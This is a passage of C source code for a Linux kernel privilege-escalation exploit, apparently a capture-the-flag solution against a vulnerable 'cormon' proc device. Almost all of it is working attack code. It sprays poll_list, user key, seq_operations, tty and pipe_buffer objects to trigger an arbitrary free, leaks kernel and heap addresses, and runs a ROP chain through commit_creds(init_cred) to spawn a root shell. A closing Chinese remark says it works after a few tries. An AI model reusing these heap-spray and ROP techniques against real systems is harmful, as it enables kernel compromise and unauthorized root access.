struct poll_list *next;
int len;
struct pollfd entries[];
};
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
size_t poll_threads, poll_cnt;
void *alloc_poll_list(void *args) {
int nfds = ((poll_args *) args)->nfds;
int timer = ((poll_args *) args)->timer;
struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));
for (int i = 0; i < nfds; i++) {
pfds[i].fd = open("/etc/passwd", O_RDONLY);
pfds[i].events = POLLERR;
}
bind_core(true, true);
pthread_mutex_lock(&mutex);
poll_threads++;
pthread_mutex_unlock(&mutex);
poll(pfds, nfds, timer);
bind_core(false, true);
pthread_mutex_lock(&mutex);
poll_threads--;
pthread_mutex_unlock(&mutex);
}
pthread_t poll_tid[POLL_NUM];
void create_poll_thread(size_t size, int timer) {
poll_args *args = calloc(1, sizeof(poll_args));
args->nfds =
(size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd)
+ N_STACK_PPS;
args->timer = timer;
pthread_create(&poll_tid[poll_cnt++], 0, alloc_poll_list, args);
}
void wait_poll_start() {
while (poll_threads != poll_cnt);
}
void join_poll_threads(void (*confuse)(void *), void *confuse_args) {
for (int i = 0; i < poll_threads; i++) {
pthread_join(poll_tid[i], NULL);
if (confuse != NULL) {
confuse(confuse_args);
}
}
poll_cnt = poll_threads = 0;
}
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
typedef unsigned long long u64;
struct user_key_payload {
struct rcu_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */
char data[0] __aligned(__alignof__(u64)); /* actual data */
};
int key_id[KEY_NUM];
int key_alloc(int id, void *payload, int payload_len) {
char description[0x10] = {};
sprintf(description, "%d", id);
return key_id[id] =
syscall(__NR_add_key, "user", description, payload,
payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
}
int key_update(int id, void *payload, size_t plen) {
return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
}
int key_read(int id, void *bufer, size_t buflen) {
return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
}
int key_revoke(int id) {
return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);
}
int key_unlink(int id) {
return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
}
struct list_head {
struct list_head *next, *prev;
};
struct tty_file_private {
struct tty_struct *tty;
struct file *file;
struct list_head list;
};
struct page;
struct pipe_inode_info;
struct pipe_buf_operations;
struct pipe_bufer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
struct pipe_buf_operations {
int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);
void (*release)(struct pipe_inode_info *, struct pipe_bufer *);
int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);
int (*get)(struct pipe_inode_info *, struct pipe_bufer *);
};
void get_shell(void) {
char *args[] = {"/bin/bash", "-i", NULL};
execve(args[0], args, NULL);
}
int cormon_fd;
char buf[0x20000];
void seq_confuse(void *args) {
open("/proc/self/stat", O_RDONLY);
}
size_t push_rsi_pop_rsp_ret = 0xFFFFFFFF817AD641;
size_t pop_rdi_ret = 0xffffffff8116926d;
size_t init_cred = 0xFFFFFFFF8245A960;
size_t commit_creds = 0xFFFFFFFF810EBA40;
size_t pop_r14_pop_r15_ret = 0xffffffff81001615;
size_t find_task_by_vpid = 0xFFFFFFFF810E4FC0;
size_t init_fs = 0xFFFFFFFF82589740;
size_t pop_rcx_ret = 0xffffffff8101f5fc;
size_t add_rax_rcx_ret = 0xffffffff8102396f;
size_t mov_mmrax_rbx_pop_rbx_ret = 0xffffffff817e1d6d;
size_t pop_rbx_ret = 0xffffffff811bce34;
size_t swapgs_ret = 0xffffffff81a05418;
size_t iretq = 0xffffffff81c00f97;
int main() {
bind_core(true, false);
save_status();
signal(SIGSEGV, (void *) get_shell);
cormon_fd = open("/proc_rw/cormon", O_RDWR);
if (cormon_fd < 0) {
perror("[-] failed to open cormon.");
exit(-1);
}
size_t kernel_offset;
int target_key;
puts("[*] Saturating kmalloc-32 partial slabs...");
int seq_fd[SEQ_NUM];
for (int i = 0; i < SEQ_NUM; i++) {
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
if (seq_fd[i] < 0) {
perror("[-] failed to open stat.");
exit(-1);
}
if (i == 2048) {
puts("[*] Spraying user keys in kmalloc-32...");
for (int j = 0; j < KEY_NUM; j++) {
setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);
key_alloc(j, buf, 32);
if (j == 72) {
bind_core(false, false);
puts("[*] Creating poll threads...");
for (int k = 0; k < 14; k++) {
create_poll_thread(
PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd),
3000);
}
bind_core(true, false);
wait_poll_start();
}
}
puts("[*] Corrupting poll_list next pointer...");
write(cormon_fd, buf, PAGE_SIZE);
puts("[*] Triggering arbitrary free...");
join_poll_threads(seq_confuse, NULL);
puts("[*] Overwriting user key size / Spraying seq_operations structures...");
}
}
puts("[*] Leaking kernel pointer...");
for (int i = 0; i < KEY_NUM; i++) {
int len = key_read(i, buf, sizeof(buf));
kernel_offset = search_kernel_offset(buf, len);
if (kernel_offset != INVALID_KERNEL_OFFSET) {
qword_dump("dump leak memory", buf, 0x1000);
target_key = i;
break;
}
}
if (kernel_offset == INVALID_KERNEL_OFFSET) {
puts("[-] failed to leak kernel offset,try again.");
exit(-1);
}
push_rsi_pop_rsp_ret += kernel_offset;
pop_rdi_ret += kernel_offset;
init_cred += kernel_offset;
commit_creds += kernel_offset;
pop_r14_pop_r15_ret += kernel_offset;
find_task_by_vpid += kernel_offset;
init_fs += kernel_offset;
pop_rcx_ret += kernel_offset;
add_rax_rcx_ret += kernel_offset;
mov_mmrax_rbx_pop_rbx_ret += kernel_offset;
pop_rbx_ret += kernel_offset;
swapgs_ret += kernel_offset;
iretq += kernel_offset;
puts("[*] Freeing user keys...");
for (int i = 0; i < KEY_NUM; i++) {
if (i != target_key) {
key_unlink(i);
}
}
sleep(1);
puts("[*] Spraying tty_file_private / tty_struct structures...");
int tty_fd[TTY_NUM];
for (int i = 0; i < TTY_NUM; i++) {
tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
if (tty_fd[i] < 0) {
perror("[-] failed to open ptmx");
}
}
puts("[*] Leaking heap pointer...");
size_t target_object = -1;
int len = key_read(target_key, buf, sizeof(buf));
qword_dump("dump leak memory", buf, 0x1000);
for (int i = 0; i < len; i += 8) {
struct tty_file_private *head = (void *) &buf[i];
if (is_dir_mapping_addr((size_t) head->tty) && !(((size_t) head->tty) & 0xFF)
&& head->list.next == head->list.prev && head->list.prev != NULL) {
qword_dump("leak tty_struct addr from tty_file_private", &buf[i],
sizeof(struct tty_file_private));
target_object = (size_t) head->tty;
printf("[+] tty_struct addr: %p\n", target_object);
break;
}
}
if (target_object == -1) {
puts("[-] failed to leak tty_struct addr.");
exit(-1);
}
puts("[*] Freeing seq_operation structures...");
for (int i = 2048; i < SEQ_NUM; i++) {
close(seq_fd[i]);
}
bind_core(false, false);
puts("[*] Creating poll threads...");
for (int i = 0; i < 192; i++) {
create_poll_thread(sizeof(struct poll_list) + sizeof(struct pollfd), 3000);
}
bind_core(true, false);
wait_poll_start();
puts("[*] Freeing corrupted key...");
key_unlink(target_key);
sleep(1); // GC key
puts("[*] Overwriting poll_list next pointer...");
char key[32] = {};
*(size_t *) &buf[0] = target_object - 0x18;
for (int i = 0; i < KEY_NUM; i++) {
setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);
key_alloc(i, key, 32);
}
puts("[*] Freeing tty_struct structures...");
for (int i = 0; i < TTY_NUM; i++) {
close(tty_fd[i]);
}
sleep(1); // GC TTYs
int pipe_fd[PIPE_NUM][2];
puts("[*] Spraying pipe_bufer structures...");
for (int i = 0; i < PIPE_NUM; i++) {
pipe(pipe_fd[i]);
write(pipe_fd[i][1], "aaaaaa", 6);
}
puts("[*] Triggering arbitrary free...");
join_poll_threads(NULL, NULL);
((struct pipe_bufer *) buf)->ops = (void *) (target_object + 0x300);
((struct pipe_buf_operations *) &buf[0x300])->release = (void *) push_rsi_pop_rsp_ret;
size_t *rop = (size_t *) buf;
*rop++ = pop_r14_pop_r15_ret;
rop++;
rop++; // ops
// commit_creds(&init_creds)
*rop++ = pop_rdi_ret;
*rop++ = init_cred;
*rop++ = commit_creds;
// current = find_task_by_vpid(getpid())
*rop++ = pop_rdi_ret;
*rop++ = getpid();
*rop++ = find_task_by_vpid;
// current->fs = &init_fs
*rop++ = pop_rcx_ret;
*rop++ = 0x6e0;
*rop++ = add_rax_rcx_ret;
*rop++ = pop_rbx_ret;
*rop++ = init_fs;
*rop++ = mov_mmrax_rbx_pop_rbx_ret;
rop++;
// back to user
*rop++ = swapgs_ret;
*rop++ = iretq;
*rop++ = (uint64_t) get_shell;
*rop++ = user_cs;
*rop++ = user_rflags;
*rop++ = user_sp;
*rop++ = user_ss;
puts("[*] Spraying ROP chain...");
for (int i = 0; i < 31; i++) {
key_alloc(i, buf, 1024);
}
puts("[*] Hijacking control flow...");
for (int i = 0; i < PIPE_NUM; i++) {
close(pipe_fd[i][0]);
close(pipe_fd[i][1]);
}
sleep(5);
return 0;
}多试几次还是可以成功的。
